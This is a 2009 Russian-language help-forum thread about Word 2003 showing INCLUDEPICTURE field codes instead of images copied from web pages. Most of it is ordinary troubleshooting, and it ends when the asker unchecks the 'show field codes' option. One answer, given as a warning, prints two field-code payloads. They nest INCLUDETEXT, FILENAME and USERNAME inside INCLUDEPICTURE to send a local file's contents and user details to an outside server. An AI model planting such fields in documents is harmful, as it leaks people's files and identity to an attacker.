Консультация № 170135
03.07.2009, 17:53
0.00 руб.
0 18 3
Здравствуйте уважаемые эксперты!
При копировании из интернета в документ Word текст и некоторые рисунки копируются нормально, но в большинстве случаев вместо рисунка в документе появляется запись такого типа {INCLUDEPICTURE "http://www.chaynikam.net/lessons/060109/7.gif"\*MERGEFORMATINET}.
Хотя при выводе на печать на месте вышеприведенной записи печатается рисунок.
Посоветуйте, как выйти из этой ситуации.
ОС Windows XP
Professional
Версия 2008
Service Pack 3.

Обсуждение

Неизвестный
03.07.2009, 17:57
общий
Уточните пожалуйста версию пакета Microsoft Office и браузер которым вы пользуетесь.
Неизвестный
03.07.2009, 18:22
общий
06.07.2009, 01:55
это ответ
Здравствуйте, Манец Владимир Николаевич!
Возможно файл типа .gif представляет собой анимацию. В Ворде она не воспроизводится.
2
Неизвестный
03.07.2009, 19:09
общий
это ответ
Здравствуйте, Манец Владимир Николаевич.

Это, так называемые, связанные файлы. Просто добавлять рисунок в документ можно двумя способами: с добавлением рисунка в сам файл документа и без добавления рисунка в файл. В вашем случае это второй вариант. Вместо самого рисунка идет ссылка на него, и ссылка может указывать как на локальный рисунок (расположенный на данном компьютере), так и на удаленный, расположенный на каком-нибудь ресурсе. При печати происходит автоматическая скачка этого файла. А почему эти рисунки не воспроизводит Word, сказать сложно, не зная версии Office и вашего браузера. Что-то блокирует скачивание рисунка Word'ом.
Еще к тому же ваши документы могут стать не совсем переносимыми, то есть перенесли вы такой файл на компьютер без выхода в интернет, то там, что при открытии, что при печати рисунки не воспроизведутся.

Лучше вам сделать так, чтобы они были переносимыми. Можно вам посоветовать сделать следующее: скачали вы документ, потом открыли его, взяли первый такой рисунок, скопировали его url-ссылку, потом удалили эту ссылку из документа, по скопированной ссылке скачали рисунок, потом туда, где должен быть рисунок вставили скачанный рисунок. Тогда рисунок будет внутри файла документа. Потом проделали подобное со всеми такими рисунками.

И еще проверьте не стоит ли защита на документе: если в меню "сервис" есть пункт "защитить документ", то защиты нет, если есть пункт "снять защиту", то защита есть и скорее всего парольная.
4
Неизвестный
03.07.2009, 19:14
общий
Да и что это "ОС Windows XP Professional Версия 2008 Service Pack 3.". Версии ХР 2008 не бывает. Это вы скорее всего установили какую-то сборку ХР в названии которой присутствует 2008. А автор сборки сделал это для того, чтобы показать, что в дистрибутив интегрированы обновления вплоть до 2008 года. Хотя и 3-ий сервис-пак оффициально вышел в 2008 году
Неизвестный
03.07.2009, 20:24
общий
Серг aka umbSSE:
Microsoft Office Word 2003 (11.8307.8221)SP3
Входит в Microsoft Office - профессиональный выпуск версии 2003

Windows Internet Explorer 8
Версия: 8.0.6001.18702СО
Неизвестный
03.07.2009, 20:26
общий
Серг aka umbSSE:
Microsoft Office Word 2003 (11.8307.8221)SP3
Входит в Microsoft Office - профессиональный выпуск версии 2003

Windows Internet Explorer 8
Версия: 8.0.6001.18702СО
Неизвестный
03.07.2009, 20:39
общий
Kom906:
Версия ХР 2008 - так записано в свойствах системы.
Может быть нужно: Версия 5.1 (сборка 2600.xpsp_sp3_qfe.090206-1316:Service Pack3 (так дано в справке Блокнота)
Неизвестный
03.07.2009, 21:29
общий
ААААААААААААА!!!!!!!!!!

Вы копируете текст страницы, открытой в браузере, в Word.
Тогда не важна ни версия браузера, ни версия Office. Копирование будет сопровождаться описанными проблеммами.
Любая страница какого-нибудь сайта имеет такую особенность, такова структура страниц: любой рисунок не принадлежит самой странице, реально там только ссылки на рисунки.

Извините, но я сначала не так понял процесс получения документа - я подумал, что вы скачиваете документы, то есть файлы с расширением doc, docx и тп.
давно
Мастер-Эксперт
680
2811
03.07.2009, 21:36
общий
Ну, сразу скажу, что у меня таких проблем с этой страницей не возникло - все прекрасно копируется и сразу вставляется. Так что вряд ли это проблема именно этой страницы.
Попробуйте сохранить эту веб-страницу на свой компьютер. А затем уж все скопировать и вставить в документ Word.
Причем если проблемы будут и с сохраненной веб-страницей, то можно поэкспериментировать и сохранить как единый архив (Сохранить как - выберите формат mht) или назначить Html-редактором MS Word (Сервис - Свойства обозревателя - Редактор html) и потом дать команду Файл - Править в Microsoft Office Word, откроется в Word - поправите что надо и сохраните как надо. Т.к у Вас IE 8, команады могут быть немного другие (у меня IE 7)
давно
Мастер-Эксперт
21244
2095
04.07.2009, 00:43
общий
Манец Владимир Николаевич:
Вашу информацию для модераторов переношу в мини-форум, т. к. ей место именно здесь. Вмешательства модераторов для редактирования ответа не требуется. Пометку снимаю. Кстати, в вопросе Вы не указывали, что Вам нужно копировать большое количество рисунков.

Информация для модераторов:

Таким перетаскиванием я и сам занимался. Но это же никуда не годится при большом количестве рисунков. Это выход из положения, но не устранение болячки.
Манец Владимир Николаевич, Посетитель, 03.07.2009, 20:58
Неизвестный
04.07.2009, 12:47
общий
это ответ
Здравствуйте, Манец Владимир Николаевич.
обмен данными межде браузером и Office организован с использованием OLE.

При связывании методом OLE создается ссылка между исходным документом сервера и составным документом. Связь представляет удобный способ использования одних и тех же данных в различных документах: если исходные данные модифицируются, для изменения составных документов требуется лишь обновить связи. Большинство приложений-приемников могут также быть настроены на автоматическое обновление.
При установлении связи рисунка необходимо поддерживать доступ и к приложению-серверу, и к документу. Если что-либо из них переименовано или перемещено, может потребоваться повторное создание связи.
При внедрении методом OLE в составном документе размещается копия внедренных данных. Она теряет связь с исходным файлом. Внедренные данные в составном документе могут редактироваться с помощью приложения, в котором они были созданы, но исходный рисунок при этом не изменяется.
При внедрении объектов связь с исходным файлом не поддерживается. Внедрение следует применять, если модификация исходного документа при редактировании составного нежелательна.


Буфер обмена представляет собой временную область памяти, используемую для хранения информации. Реализована возможность копирования в буфер обмена элемент или его часть из приложения-сервера, а затем размещения его в приложение-клиент. Этот элемент становится OLE-объектом. При простом копировании и вставке информации этот элемент становится OLE-внедренным объектом. При создании OLE-связанного объекта с помощью буфера обмена используется команда "Специальная вставка". При использовании буфера обмена вставляемый элемент не всегда становится OLE-объектом. Например, простой текст из текстового редактора ASCII становится при вставке просто текстом CorelDRAW. Для осуществления полного контроля над вставленными элементами следует пользоваться командой "Специальная вставка".



На самом деле не рекомендую пользоваться такими ресерсами т.к
Поле INCLUDEPICTURE используется для внедрения URL в документ. Если INCLUDEPICTURE включен в документ и ссылается на URL, то атакующий может получить содержание файлов на системе пользователя. Пример:

{INCLUDEPICTURE {QUOTE "http:\\www.alicesserver.com" & {FILENAME \p} & {INCLUDETEXT "c:\\a.txt"}} \d }
{INCLUDEPICTURE {QUOTE "http:\\www.alicesserver.com" & {USERNAME} & {USERADDRESS } } \d}

4
Я с Вами согласен, что это проблема OLE. Раньше я видел наличие этой связи при использовании Microsoft Visio, когда нужно было отредактировать рисунок в Word-e, но созданный в Visio: при щелчке по рисунку с помощью OLE вызывался Visio. Сейчас я могу создать рисунок в Visio и поместить его в Word, но при необходимости редактирования я не могу вызвать Visio - связь OLE отсутствует. Копирование рисунков из IE не получается, я считаю, по этой же причине.<br>Аналогично и такое. При вызове редактора формул в документе вместо редактора формул появляется запись {EMBED Equation.3} , а формула формируется в отдельном диалоговом окне. Сформированная формула нормально копируется в буфер обмена. Просмотр буфера показывает, что формула в буфер записывается нормально. Но при вставке в документ опять записывается {EMBED Equation.3}. Я задавал по этому поводу вопрос, но ответа тогда на него никакого не получил.<br>Считаю, что все эти болячки связаны с отсутствием OLE.<br>Вы всё хорошо объяснили в теории, но где же практическое решение вопроса - как восстановить OLE.<br>И ещё вопрос, а где же OLE формируется - в Word-e или в самой Windows?
давно
Мастер-Эксперт
680
2811
04.07.2009, 18:01
общий
Манец Владимир Николаевич:
Shift+F9 пробовали нажимать?
Неизвестный
05.07.2009, 14:54
общий
Shapoklak:
и что будет если нажать ?
Неизвестный
05.07.2009, 16:03
общий
Shapoklak:
Огромное спасибо! Попадание в самое яблочко! Правда пришлось повозиться - ведь Вы не сказали, когда нажимать Shift+F9.
Рисунки появляются после нажатия Shift+F9 при выделении записей или при выделении всего файла.
Это уже выход из положения. Недостаток только в том, что сохраняется файл в прежнем состоянии, т.е. не с рисунками, а с записями и каждый раз опять нужно обращаться к Shift+F9.
Но даже такое решение даёт мне возможность работать с записями из с записями с использованием редактора формул, где аналогичная проблема, о чём я более подробно сообщаю в ответе Серг ака umbSSE и считаю, что для окончательного решения проблемы нужно решить вопрос со связью OLE.
Поэтому хотелось бы услышать и Ваше мнение по этому вопросу.
давно
Мастер-Эксперт
680
2811
05.07.2009, 23:08
общий
Манец Владимир Николаевич:
Сервис - Параметры - Вид - Показывать - коды полей
флажок в коды полей стоит?
Неизвестный
05.07.2009, 23:32
общий
Shapoklak:
Опять Вы немножко не договариваете! Если речь идёт об окне документа Word, то да - значок стоит.
давно
Мастер-Эксперт
680
2811
05.07.2009, 23:45
общий
Манец Владимир Николаевич:
Извините, да.
Снимите этот флажок.
Неизвестный
06.07.2009, 00:46
общий
Shapoklak:
Ура! Снял флажок и всё встало на свои места. Ещё раз Вам огромное спасибо! Благодаря Вашему долготерпению мы не только нашли выход из положения, но и в конце концов полностью решили задачу.
С уважением Манец Владимир Николаевич!
Форма ответа